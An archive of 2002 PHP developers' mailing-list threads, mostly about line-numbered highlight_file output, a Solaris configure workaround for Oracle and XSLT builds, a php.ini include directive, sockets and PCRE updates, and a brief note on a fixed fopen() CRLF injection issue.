> > > > rm debug.log
> > > > make clean
> > > > ./configure --with-apxs2=/usr/local/apache2/bin/apxs \
> > > > --with-iconv=/usr/local/lib \
> > > > --with-gd=/usr/local \
> > > > --with-jpeg-dir=/usr/local \
> > > > --with-freetype-dir=/usr/local \
> > > > --with-xpm-dir=/usr/local \
> > > > --with-png-dir=/usr/local \
> > > > --with-zlib \
> > > > --enable-trans--sid \
> > > > --enable-track-vars \
> > > > --enable-xslt \
> > > > --with-xslt-sablot=/usr/local/src/Sablot-0.95 \
> > > > --with-expat-dir=/usr/local \
> > > > --with-sablot-errors-descriptive \
> > > > --with-zlib \
> > > > --with-config-file-path=/etc \
> > > > --disable-debug \
> > > > --without-mysql \
> > > > --with-oci8=/usr/local/oracle/ora32bit \
> > > > --with-sablot-js=/usr/local \
> > > > --with-tsrm-pthreads \
> > > > --enable-sigchild
> > > >
> > > > PS: Credit for this goes to Dan Damon.
> > > >
> > > > thank you very much,
> > > > Florian Clever
> > > >
> > > > Software Architect
> > > > Verinform
> > > > http://www.verinform.com/
> > > >
> > > >
> > > > --
> > > > PHP Development Mailing List 
> > > > To unsubscribe, visit: http://www.php.net/unsub.php
> > > >
> > >
> > > --
> > > -
> > >  Did I help you?   http://www.derickrethans.nl/link.php?url=giftlist
> > >  Frequent ranting: http://www.derickrethans.nl/
> > > --
> > > -
> > >  PHP: Scripting the Web - [EMAIL PROTECTED]
> > > All your branches are belong to me!
> > > SRM: Script Running Machine - www.vl-srm.net
> > > --
> > > -
> >
>
> --

Re: [PHP-DEV] highlight_file modification

[[EMAIL PROTECTED]]

Actually, sorry, i'm too tired to do the /demo thing tonight.  It'll be
compiled in tomorrow and you all can see it if you want.

Sorry for the waste of space :\

Nite,

Devon

Original Message:
-
From: [EMAIL PROTECTED] [EMAIL PROTECTED]
Date: Wed, 11 Sep 2002 18:40:44 -0400
To: [EMAIL PROTECTED], [EMAIL PROTECTED]
Subject: Re: [PHP-DEV] highlight_file modification


Hehe, it's just a local patch, I don't have CVS commit access, and I
wouldn't commit it now anyway if I did since there hasn't been any formal
discussion about it.  I've just developed it along what people have said
they thought would be nice.  Everything can easily be modified/removed as
far as ini options and such.

Additionally, that was just a little output demo.  I'm making something at
http://www.dapond.net/code/demo that will actually dynamically do that and
the patched version will be built onto that machine tomorrow (afaik).

I am only announcing my achievements, not intentions to stay in any one
place with this.

Thus, the reason I was asking how I should do it :)

Devon

Original Message:
-
From: Tom Sommer [EMAIL PROTECTED]
Date: Thu, 12 Sep 2002 00:34:39 +0200
To: [EMAIL PROTECTED]
Subject: Re: [PHP-DEV] highlight_file modification



"Edin Kadribasic" <[EMAIL PROTECTED]> wrote in
[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
> Did I miss something here? I don't remember us reaching agreement about
> adding another config option.

He still has the right to make a patch if he wants to.
Currently the way to go is to make the output and then in the end, find out
how the configs for this new feature should be made...

--
* Tom Sommer
* http://www.tsn.dk | webmaster(a)tsn.dk
* Any sufficiently advanced bug is indistinguishable from a feature



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php



mail2web - Check your email from the web at
http://mail2web.com/ .



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php



mail2web - Check your email from the web at
http://mail2web.com/ .



--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[[EMAIL PROTECTED]]

Hehe, it's just a local patch, I don't have CVS commit access, and I
wouldn't commit it now anyway if I did since there hasn't been any formal
discussion about it.  I've just developed it along what people have said
they thought would be nice.  Everything can easily be modified/removed as
far as ini options and such.

Additionally, that was just a little output demo.  I'm making something at
http://www.dapond.net/code/demo that will actually dynamically do that and
the patched version will be built onto that machine tomorrow (afaik).

I am only announcing my achievements, not intentions to stay in any one
place with this.

Thus, the reason I was asking how I should do it :)

Devon

Original Message:
-
From: Tom Sommer [EMAIL PROTECTED]
Date: Thu, 12 Sep 2002 00:34:39 +0200
To: [EMAIL PROTECTED]
Subject: Re: [PHP-DEV] highlight_file modification



"Edin Kadribasic" <[EMAIL PROTECTED]> wrote in
[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
> Did I miss something here? I don't remember us reaching agreement about
> adding another config option.

He still has the right to make a patch if he wants to.
Currently the way to go is to make the output and then in the end, find out
how the configs for this new feature should be made...

--
* Tom Sommer
* http://www.tsn.dk | webmaster(a)tsn.dk
* Any sufficiently advanced bug is indistinguishable from a feature



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php



mail2web - Check your email from the web at
http://mail2web.com/ .



--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] Re: sockets extension...pecl it

[Brian Lalor]

Jason Greene <[EMAIL PROTECTED]> writes:

> This extension does not belongs in PECL. It is fully platform
> compatible, all other languages offer this functionality, it is actively
> maintained (by me), and it will be marked stable by version 4.3

Jason, can you help me understand what needs to be done to make this extension
non-experimental for the next release of PHP?  Can we at least finalize the
API so that *I* can work on a migration path for my own work?

What help do you need?

-- 
Brian Lalor
[EMAIL PROTECTED]
[EMAIL PROTECTED]
(v) 480-333-3196
(f) 480-760-9298



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Tom Sommer]

"Edin Kadribasic" <[EMAIL PROTECTED]> wrote in
[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
> Did I miss something here? I don't remember us reaching agreement about
> adding another config option.

He still has the right to make a patch if he wants to.
Currently the way to go is to make the output and then in the end, find out
how the configs for this new feature should be made...

--
* Tom Sommer
* http://www.tsn.dk | webmaster(a)tsn.dk
* Any sufficiently advanced bug is indistinguishable from a feature



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Tom Sommer]

"[EMAIL PROTECTED]" <[EMAIL PROTECTED]> wrote
[EMAIL PROTECTED]">news:[EMAIL PROTECTED]...
>Output from show_source using the current patch can be found at
>
> http://www.dapond.net/code/bleh.html

Don't use tables.. use HTML spaces instead, like the current show_source

--
* Tom Sommer
* http://www.tsn.dk | webmaster(a)tsn.dk
* Any sufficiently advanced bug is indistinguishable from a feature



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[[EMAIL PROTECTED]]

Output from show_source using the current patch can be found at

http://www.dapond.net/code/bleh.html

This still doesn't implement the .phps?linenumbers (since that's gonna have
to do with the server module/cgi binary code) and also since nobody's (yet)
given input as to what variable name would be sufficient. 
show_line_numbers?  Headers/footers will also have to go in the server
module/cgi code to implement XHTML/1.1 for the output, since I can't think
of a way to figure out whether zend_highlight() was called from the
apache_php_module_main function (or, simply to tell whether or not it was
called from anywhere other than highlight_file/highlight_string).

Dunno.

I'm still messing around with a couple things, I want to have no floating
tags (you can see that they exist by some of the  tags with no
 initializer)... wanna get everything "perfect" before I release the
patch.

So far, I think it's looking pretty good if you ask me :).

Devon

Original Message:
-
From: Dan Hardiker [EMAIL PROTECTED]
Date: Wed, 11 Sep 2002 21:36:40 +0100 (BST)
To: [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED]
Subject: Re: [PHP-DEV] highlight_file modification


>> If you can think of an alternative way to enable / disable the
>> modifications suggested other than using a php.ini entry...  ;)
> [...]
>
> wouldn't it be better to let the viewer decide, if line numbers should
> appear  or not. This wouldn't break BC and also would not be needed to
> be enabled on  any server. Maybe we could use a GET Param on this (only
> for the .phps's)  like:
>
> http://localhost/test.phps?linenumbers=0
> http://localhost/test.phps?linenumbers=1
>
> in which we would default linenumbers to zero.

+1 ... sounds like everyone wins. We hit maximum deployment with minimum
impact on systems that want to remain the way they are now.


-- 
Dan Hardiker [[EMAIL PROTECTED]]
ADAM Software & Systems Engineer
First Creative Ltd



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php



mail2web - Check your email from the web at
http://mail2web.com/ .



--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Edin Kadribasic]

[EMAIL PROTECTED] wrote:
> Right now I'm going through all this mess and trying to get it so that
> it's actually an XHTML 1.1 compliant output.  Right now, there's no
> guarantee that it's even HTML [insert version here] compliant.
> 
> All the ini configuration is set.  I will set the ini default to the
> old value.  I assume people know how to use ini_set(); and will be
> able to change the behavior of this function that way if they are
> being hosted somewhere they have no control over the ini.

Did I miss something here? I don't remember us reaching agreement about
adding another config option.

Edin

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Dan Hardiker]

>> If you can think of an alternative way to enable / disable the
>> modifications suggested other than using a php.ini entry...  ;)
> [...]
>
> wouldn't it be better to let the viewer decide, if line numbers should
> appear  or not. This wouldn't break BC and also would not be needed to
> be enabled on  any server. Maybe we could use a GET Param on this (only
> for the .phps's)  like:
>
> http://localhost/test.phps?linenumbers=0
> http://localhost/test.phps?linenumbers=1
>
> in which we would default linenumbers to zero.

+1 ... sounds like everyone wins. We hit maximum deployment with minimum
impact on systems that want to remain the way they are now.


-- 
Dan Hardiker [[EMAIL PROTECTED]]
ADAM Software & Systems Engineer
First Creative Ltd



-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[[EMAIL PROTECTED]]

Right now I'm going through all this mess and trying to get it so that it's
actually an XHTML 1.1 compliant output.  Right now, there's no guarantee
that it's even HTML [insert version here] compliant.

All the ini configuration is set.  I will set the ini default to the old
value.  I assume people know how to use ini_set(); and will be able to
change the behavior of this function that way if they are being hosted
somewhere they have no control over the ini.

I'll look into all the servers that support .phps and [attempt to] modify
their code so that you may use ?number=1 or whatever.  I'd like to see what
people say about this.

Additionally, if that suggestion recieves good karma, I'd like to get
general input on what I should name the variable.

I'd like to get all this fixed before I release the patch so you all don't
have to go behind me cleaning up stuff :).

Devon

Original Message:
-
From: Sascha Cunz [EMAIL PROTECTED]
Date: Wed, 11 Sep 2002 22:27:31 +0200
To: [EMAIL PROTECTED], [EMAIL PROTECTED],
[EMAIL PROTECTED]
Subject: Re: [PHP-DEV] highlight_file modification


hi
[...]
> I believe the default should be its current behaviour (for backward
> compatability, and to prevent unexpected change)... but I do think there
> should be an ini option so that .phps files can have this functionality.
[...]
+1 on that.

[...]
> Having line numbers on a .phps file would enable us to support users MUCH
> better just by asking them to rename the file from .php to .phps and give
> us the URL. We then say "your missing a ; on line 52". Much easier than
> trying to navigate them to the "if halfway down the screen".

+1, too.

>
> If you can think of an alternative way to enable / disable the
> modifications suggested other than using a php.ini entry...  ;)
[...]

wouldn't it be better to let the viewer decide, if line numbers should
appear 
or not. This wouldn't break BC and also would not be needed to be enabled
on 
any server. Maybe we could use a GET Param on this (only for the .phps's) 
like:

http://localhost/test.phps?linenumbers=0
http://localhost/test.phps?linenumbers=1

in which we would default linenumbers to zero.

Best regards
Sascha

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php



mail2web - Check your email from the web at
http://mail2web.com/ .



--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] highlight_file modification

[Sascha Cunz]

hi
[...]
> I believe the default should be its current behaviour (for backward
> compatability, and to prevent unexpected change)... but I do think there
> should be an ini option so that .phps files can have this functionality.
[...]
+1 on that.

[...]
> Having line numbers on a .phps file would enable us to support users MUCH
> better just by asking them to rename the file from .php to .phps and give
> us the URL. We then say "your missing a ; on line 52". Much easier than
> trying to navigate them to the "if halfway down the screen".

+1, too.

>
> If you can think of an alternative way to enable / disable the
> modifications suggested other than using a php.ini entry...  ;)
[...]

wouldn't it be better to let the viewer decide, if line numbers should appear 
or not. This wouldn't break BC and also would not be needed to be enabled on 
any server. Maybe we could use a GET Param on this (only for the .phps's) 
like:

http://localhost/test.phps?linenumbers=0
http://localhost/test.phps?linenumbers=1

in which we would default linenumbers to zero.

Best regards
Sascha

--
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] Sound Extension proposed API

[Tony Leake]

> Hi,
> 
> Great, sound media systems come to PHP. Wrapping ecasound is a good
idea.
> Maybe I'll try to have XMMS module follow it too ;-)
> Would be nice to have a unified sound wrapper in PHP, say a metaclass
which
> could control other systems (xmms, eca, xine...).
> 
> DJ Anubis

Hi,

A unified wrapper is a great idea, ecasound is a little over the top for
all of the stuff that xmms excels at.

I'm away from friday for just over a week, lets put our heads together
then and see what ideas we can come up with.

Regards
Tony


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-DEV] configure patch for Solaris

[derick]

Florian,

what exactly did go wrong without this patch?

Derick

On Wed, 11 Sep 2002, Florian Clever wrote:

> Derick,
> 
> I understand that. Unfortunately I do currently not have the Knowledge to
> patch the .m4 files, thus was hoping somebody else can figure it out.
> I wanted to pass the information I had along, hoping it help advance PHP
> support for the Solaris Platform.
> 
> Florian
> 
> > -Original Message-
> > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
> > Sent: Wednesday, September 11, 2002 12:18 PM
> > To: Florian Clever
> > Cc: PHP Developers Mailing List; Daniel Parks; Daniel Dreier
> > Subject: Re: [PHP-DEV] configure patch for Solaris
> >
> >
> > Hello Florian,
> >
> > it has no use to patch configure directly, you need to find your
> > solution in one of the .m4 files in the source.
> >
> > Derick
> >
> > On Wed, 11 Sep 2002, Florian Clever wrote:
> >
> > > Hi,
> > >
> > > we have installed PHP under Solaris with Apache 2, Oci8, XSLT (with JS
> > > multithreaded) etc. (configure line follows further down).
> > > However we had to repeadetly make a one line change to the
> > "configure" file.
> > > This identical change was made for PHP 4.2.2 and 4.2.3. (This
> > change so far
> > > has only been necessary under Solaris and not Linux).
> > >
> > > The diff of the our change follows. Obviously our change is a
> > massive hack.
> > >
> > > Could this patch be applied to PHP or are we doing something else wrong?
> > >
> > > diff -u configure.php configure.php.orig
> > > --- configure.php   Tue Aug  6 16:14:20 2002
> > > +++ configure.php.orig  Sun Jul 21 05:56:20 2002
> > > @@ -66529,11 +66529,7 @@
> > >  JS_GetRuntime()
> > >  ; return 0; }
> > >  EOF
> > > -###verinform: redefine to include -G
> > > -ac_link='${CC-cc} -G -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS
> > > conftest.$ac_ext $LIBS 1>&5'
> > >  if { (eval echo configure:66533: \"$ac_link\") 1>&5; (eval $ac_link)
> > > 2>&5; } && test -s conftest${ac_exeext}; then
> > > -###verinform: now put it back like it was:
> > > -ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS
> > > conftest.$ac_ext $LIBS 1>&5'
> > >rm -rf conftest*
> > >eval "ac_cv_lib_$ac_lib_var=yes"
> > >  else
> > >
> > >
> > > Configure line:
> > > configure:
> > > rm config.cache
> > > rm debug.log
> > > make clean
> > > ./configure --with-apxs2=/usr/local/apache2/bin/apxs \
> > > --with-iconv=/usr/local/lib \
> > > --with-gd=/usr/local \
> > > --with-jpeg-dir=/usr/local \
> > > --with-freetype-dir=/usr/local \
> > > --with-xpm-dir=/usr/local \
> > > --with-png-dir=/usr/local \
> > > --with-zlib \
> > > --enable-trans--sid \
> > > --enable-track-vars \
> > > --enable-xslt \
> > > --with-xslt-sablot=/usr/local/src/Sablot-0.95 \
> > > --with-expat-dir=/usr/local \
> > > --with-sablot-errors-descriptive \
> > > --with-zlib \
> > > --with-config-file-path=/etc \
> > > --disable-debug \
> > > --without-mysql \
> > > --with-oci8=/usr/local/oracle/ora32bit \
> > > --with-sablot-js=/usr/local \
> > > --with-tsrm-pthreads \
> > > --enable-sigchild
> > >
> > > PS: Credit for this goes to Dan Damon.
> > >
> > > thank you very much,
> > > Florian Clever
> > >
> > > Software Architect
> > > Verinform
> > > http://www.verinform.com/
> > >
> > >
> > > --
> > > PHP Development Mailing List 
> > > To unsubscribe, visit: http://www.php.net/unsub.php
> > >
> >
> > --
> > -
> >  Did I help you?   http://www.derickrethans.nl/link.php?url=giftlist
> >  Frequent ranting: http://www.derickrethans.nl/
> > --
> > -
> >  PHP: Scripting the Web - [EMAIL PROTECTED]
> > All your branches are belong to me!
> > SRM: Script Running Machine - www.vl-srm.net
> > --
> > -
> 

---
 Did I help you?   http://www.derickrethans.nl/link.php?url=giftlist
 Frequent ranting: http://www.derickrethans.nl/
---
 PHP: Scripting the Web - [EMAIL PROTECTED]
All your branches are belong to me!
SRM: Script Running Machine - www.vl-srm.net
---


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-DEV] configure patch for Solaris

[Florian Clever]

Derick,

I understand that. Unfortunately I do currently not have the Knowledge to
patch the .m4 files, thus was hoping somebody else can figure it out.
I wanted to pass the information I had along, hoping it help advance PHP
support for the Solaris Platform.

Florian

> -Original Message-
> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, September 11, 2002 12:18 PM
> To: Florian Clever
> Cc: PHP Developers Mailing List; Daniel Parks; Daniel Dreier
> Subject: Re: [PHP-DEV] configure patch for Solaris
>
>
> Hello Florian,
>
> it has no use to patch configure directly, you need to find your
> solution in one of the .m4 files in the source.
>
> Derick
>
> On Wed, 11 Sep 2002, Florian Clever wrote:
>
> > Hi,
> >
> > we have installed PHP under Solaris with Apache 2, Oci8, XSLT (with JS
> > multithreaded) etc. (configure line follows further down).
> > However we had to repeadetly make a one line change to the
> "configure" file.
> > This identical change was made for PHP 4.2.2 and 4.2.3. (This
> change so far
> > has only been necessary under Solaris and not Linux).
> >
> > The diff of the our change follows. Obviously our change is a
> massive hack.
> >
> > Could this patch be applied to PHP or are we doing something else wrong?
> >
> > diff -u configure.php configure.php.orig
> > --- configure.php   Tue Aug  6 16:14:20 2002
> > +++ configure.php.orig  Sun Jul 21 05:56:20 2002
> > @@ -66529,11 +66529,7 @@
> >  JS_GetRuntime()
> >  ; return 0; }
> >  EOF
> > -###verinform: redefine to include -G
> > -ac_link='${CC-cc} -G -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS
> > conftest.$ac_ext $LIBS 1>&5'
> >  if { (eval echo configure:66533: \"$ac_link\") 1>&5; (eval $ac_link)
> > 2>&5; } && test -s conftest${ac_exeext}; then
> > -###verinform: now put it back like it was:
> > -ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS
> > conftest.$ac_ext $LIBS 1>&5'
> >rm -rf conftest*
> >eval "ac_cv_lib_$ac_lib_var=yes"
> >  else
> >
> >
> > Configure line:
> > configure:
> > rm config.cache
> > rm debug.log
> > make clean
> > ./configure --with-apxs2=/usr/local/apache2/bin/apxs \
> > --with-iconv=/usr/local/lib \
> > --with-gd=/usr/local \
> > --with-jpeg-dir=/usr/local \
> > --with-freetype-dir=/usr/local \
> > --with-xpm-dir=/usr/local \
> > --with-png-dir=/usr/local \
> > --with-zlib \
> > --enable-trans--sid \
> > --enable-track-vars \
> > --enable-xslt \
> > --with-xslt-sablot=/usr/local/src/Sablot-0.95 \
> > --with-expat-dir=/usr/local \
> > --with-sablot-errors-descriptive \
> > --with-zlib \
> > --with-config-file-path=/etc \
> > --disable-debug \
> > --without-mysql \
> > --with-oci8=/usr/local/oracle/ora32bit \
> > --with-sablot-js=/usr/local \
> > --with-tsrm-pthreads \
> > --enable-sigchild
> >
> > PS: Credit for this goes to Dan Damon.
> >
> > thank you very much,
> > Florian Clever
> >
> > Software Architect
> > Verinform
> > http://www.verinform.com/
> >
> >
> > --
> > PHP Development Mailing List 
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >
>
> --
> -
>  Did I help you?   http://www.derickrethans.nl/link.php?url=giftlist
>  Frequent ranting: http://www.derickrethans.nl/
> --
> -
>  PHP: Scripting the Web - [EMAIL PROTECTED]
> All your branches are belong to me!
> SRM: Script Running Machine - www.vl-srm.net
> --
> -


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] README.TESTING

[Marcus Boerger]

Why is README.TESTING no longer in the repository?
I just updated the file but...

marcus


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] configure patch for Solaris

[derick]

Hello Florian,

it has no use to patch configure directly, you need to find your 
solution in one of the .m4 files in the source.

Derick

On Wed, 11 Sep 2002, Florian Clever wrote:

> Hi,
> 
> we have installed PHP under Solaris with Apache 2, Oci8, XSLT (with JS
> multithreaded) etc. (configure line follows further down).
> However we had to repeadetly make a one line change to the "configure" file.
> This identical change was made for PHP 4.2.2 and 4.2.3. (This change so far
> has only been necessary under Solaris and not Linux).
> 
> The diff of the our change follows. Obviously our change is a massive hack.
> 
> Could this patch be applied to PHP or are we doing something else wrong?
> 
> diff -u configure.php configure.php.orig
> --- configure.php   Tue Aug  6 16:14:20 2002
> +++ configure.php.orig  Sun Jul 21 05:56:20 2002
> @@ -66529,11 +66529,7 @@
>  JS_GetRuntime()
>  ; return 0; }
>  EOF
> -###verinform: redefine to include -G
> -ac_link='${CC-cc} -G -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS
> conftest.$ac_ext $LIBS 1>&5'
>  if { (eval echo configure:66533: \"$ac_link\") 1>&5; (eval $ac_link)
> 2>&5; } && test -s conftest${ac_exeext}; then
> -###verinform: now put it back like it was:
> -ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS
> conftest.$ac_ext $LIBS 1>&5'
>rm -rf conftest*
>eval "ac_cv_lib_$ac_lib_var=yes"
>  else
> 
> 
> Configure line:
> configure:
> rm config.cache
> rm debug.log
> make clean
> ./configure --with-apxs2=/usr/local/apache2/bin/apxs \
> --with-iconv=/usr/local/lib \
> --with-gd=/usr/local \
> --with-jpeg-dir=/usr/local \
> --with-freetype-dir=/usr/local \
> --with-xpm-dir=/usr/local \
> --with-png-dir=/usr/local \
> --with-zlib \
> --enable-trans--sid \
> --enable-track-vars \
> --enable-xslt \
> --with-xslt-sablot=/usr/local/src/Sablot-0.95 \
> --with-expat-dir=/usr/local \
> --with-sablot-errors-descriptive \
> --with-zlib \
> --with-config-file-path=/etc \
> --disable-debug \
> --without-mysql \
> --with-oci8=/usr/local/oracle/ora32bit \
> --with-sablot-js=/usr/local \
> --with-tsrm-pthreads \
> --enable-sigchild
> 
> PS: Credit for this goes to Dan Damon.
> 
> thank you very much,
> Florian Clever
> 
> Software Architect
> Verinform
> http://www.verinform.com/
> 
> 
> -- 
> PHP Development Mailing List 
> To unsubscribe, visit: http://www.php.net/unsub.php
> 

---
 Did I help you?   http://www.derickrethans.nl/link.php?url=giftlist
 Frequent ranting: http://www.derickrethans.nl/
---
 PHP: Scripting the Web - [EMAIL PROTECTED]
All your branches are belong to me!
SRM: Script Running Machine - www.vl-srm.net
---


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] RE: configure patch for Solaris

[Daniel Parks]

 
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

FWIW, the patch is backwards. patch -R should take care of it.

Daniel Parks

> diff -u configure.php configure.php.orig
> --- configure.php   Tue Aug  6 16:14:20 2002
> +++ configure.php.orig  Sun Jul 21 05:56:20 2002
> @@ -66529,11 +66529,7 @@
>  JS_GetRuntime()
>  ; return 0; }
>  EOF
> -###verinform: redefine to include -G
> -ac_link='${CC-cc} -G -o conftest${ac_exeext} $CFLAGS $CPPFLAGS
> $LDFLAGS conftest.$ac_ext $LIBS 1>&5'
>  if { (eval echo configure:66533: \"$ac_link\") 1>&5; (eval
> $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then
> -###verinform: now put it back like it was:
> -ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS
> $LDFLAGS conftest.$ac_ext $LIBS 1>&5'
>rm -rf conftest*
>eval "ac_cv_lib_$ac_lib_var=yes"
>  else

-BEGIN PGP SIGNATURE-
Version: PGP 7.1

iQA/AwUBPX+UkOtGBZSgTte3EQKR7QCfU0+MfEIkzqhqZs3A4z+peMfo/nwAoJMq
PsZqvBlhy81G4arTqHsKyEVa
=ggFH
-END PGP SIGNATURE-


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] configure patch for Solaris

[Florian Clever]

Hi,

we have installed PHP under Solaris with Apache 2, Oci8, XSLT (with JS
multithreaded) etc. (configure line follows further down).
However we had to repeadetly make a one line change to the "configure" file.
This identical change was made for PHP 4.2.2 and 4.2.3. (This change so far
has only been necessary under Solaris and not Linux).

The diff of the our change follows. Obviously our change is a massive hack.

Could this patch be applied to PHP or are we doing something else wrong?

diff -u configure.php configure.php.orig
--- configure.php   Tue Aug  6 16:14:20 2002
+++ configure.php.orig  Sun Jul 21 05:56:20 2002
@@ -66529,11 +66529,7 @@
 JS_GetRuntime()
 ; return 0; }
 EOF
-###verinform: redefine to include -G
-ac_link='${CC-cc} -G -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS
conftest.$ac_ext $LIBS 1>&5'
 if { (eval echo configure:66533: \"$ac_link\") 1>&5; (eval $ac_link)
2>&5; } && test -s conftest${ac_exeext}; then
-###verinform: now put it back like it was:
-ac_link='${CC-cc} -o conftest${ac_exeext} $CFLAGS $CPPFLAGS $LDFLAGS
conftest.$ac_ext $LIBS 1>&5'
   rm -rf conftest*
   eval "ac_cv_lib_$ac_lib_var=yes"
 else


Configure line:
configure:
rm config.cache
rm debug.log
make clean
./configure --with-apxs2=/usr/local/apache2/bin/apxs \
--with-iconv=/usr/local/lib \
--with-gd=/usr/local \
--with-jpeg-dir=/usr/local \
--with-freetype-dir=/usr/local \
--with-xpm-dir=/usr/local \
--with-png-dir=/usr/local \
--with-zlib \
--enable-trans--sid \
--enable-track-vars \
--enable-xslt \
--with-xslt-sablot=/usr/local/src/Sablot-0.95 \
--with-expat-dir=/usr/local \
--with-sablot-errors-descriptive \
--with-zlib \
--with-config-file-path=/etc \
--disable-debug \
--without-mysql \
--with-oci8=/usr/local/oracle/ora32bit \
--with-sablot-js=/usr/local \
--with-tsrm-pthreads \
--enable-sigchild

PS: Credit for this goes to Dan Damon.

thank you very much,
Florian Clever

Software Architect
Verinform
http://www.verinform.com/


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

RE: [PHP-DEV] php.ini include directive

[Xavier Spriet]

We are indeed talking about the same thing, this is exactly how I was
seeing it also.
It would definitely help keep things organized since I imagine if this
was implemented, the old way of doing it would still remain possible so
I don't see why not, though I have no idea of what the technical
difficulty would be.

XS

On Wed, 2002-09-11 at 14:15, Brian France wrote:
> I don't think we are talking about the same thing.
> 
> I would like to do something like this:
> 
> php.ini
> ---
> [PHP]
> 
> include = php-mbstring.ini
> ---
> 
> php-mbstring.ini
> ---
> [mbstring]
> mbstring.internal_encoding = EUC-JP
> mbstring.http_input = auto
> mbstring.http_output = EUC-JP
> mbstring.detect_order = auto
> mbstring.substitute_character = none;
> ---
> 
> or this would include all .ini files from the include directory
> 
> php.ini
> ---
> [PHP]
> 
> include = include/
> ---
> 
> 
> Or may be a something like this:
> 
> php.ini
> ---
> [PHP]
> 
> 
> [INCLUDE]
> file = php-mbstring.ini
> file = php-mysql.ini
> directory = include/
> ---
> 
> Brian
> 
> 
> At 1:59 PM -0400 9/11/02, [EMAIL PROTECTED] wrote:
> >I see how this could be useful, possibly for custom session handlers or
> >including something at the top of every file for free hosted customers or
> >something (so that they can't get around the ads or whatever).
> >
> >Anyway, I don't know.  I give this maybe +.25 for right now, see what
> >reactions are.
> >
> >I could put together a quick patch for this if people thought it would be
> >useful.  If you guys like the idea, lemme know, and I'll patch it.
> >
> >Devon
> >
> >Original Message:
> >-
> >From: Brian France [EMAIL PROTECTED]
> >Date: Wed, 11 Sep 2002 10:56:06 -0700
> >To: [EMAIL PROTECTED]
> >Subject: [PHP-DEV] php.ini include directive
> >
> >
> >Has anybody looked into doing a include directive for the php.ini file?
> >
> >Something like what Apache has?
> >
> >http://httpd.apache.org/docs/mod/core.html#include
> >
> >Thoughts?
> >
> >Cheers,
> >
> >Brian
> >
> >--
> >PHP Development Mailing List 
> >To unsubscribe, visit: http://www.php.net/unsub.php
> >
> >
> >
> >mail2web - Check your email from the web at
> >http://mail2web.com/ .
> >
> >
> >
> >--
> >PHP Development Mailing List 
> >To unsubscribe, visit: http://www.php.net/unsub.php
> 
> 
> -- 
> PHP Development Mailing List 
> To unsubscribe, visit: http://www.php.net/unsub.php
> 


-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] [Fwd: PHP fopen() CRLF Injection]

[Stefan Esser]

Hi,


> We got close one that Jani mentioned in bug db :)
> 
> It's user's problem, but I'm sure there are many
> scripts do not check user input enough.
> 
> We're probably better to mention security risks more
> in the manual...

I fixed this issue in CVS in the way that parse_url() removes
control chars from urls when it splits them but infact any url
passed to fopen MUST be urlencode()d.

Stefan 

-- 
PHP Development Mailing List 
To unsubscribe, visit: http://www.php.net/unsub.php

[PHP-DEV] Re: Fw: #19346 [Opn->Ana]: preg_match() does not work for UTF-8

[Wez Furlong]

On 09/11/02, "Andrei Zmievski" <[EMAIL PROTECTED]> wrote:
> On Wed, 11 Sep 2002, Wez Furlong wrote:
> > It seems that our bundled pcre doesn't handle utf-8 as well as the latest
> > version; are there any objections to updating to version 3.9?
> 
> No, no objections. Do you want me to do it or..?

If you have the time; otherwise I'll do it over the weekend.
I'm not 100% sure of what is needed to make it all work properly :-)

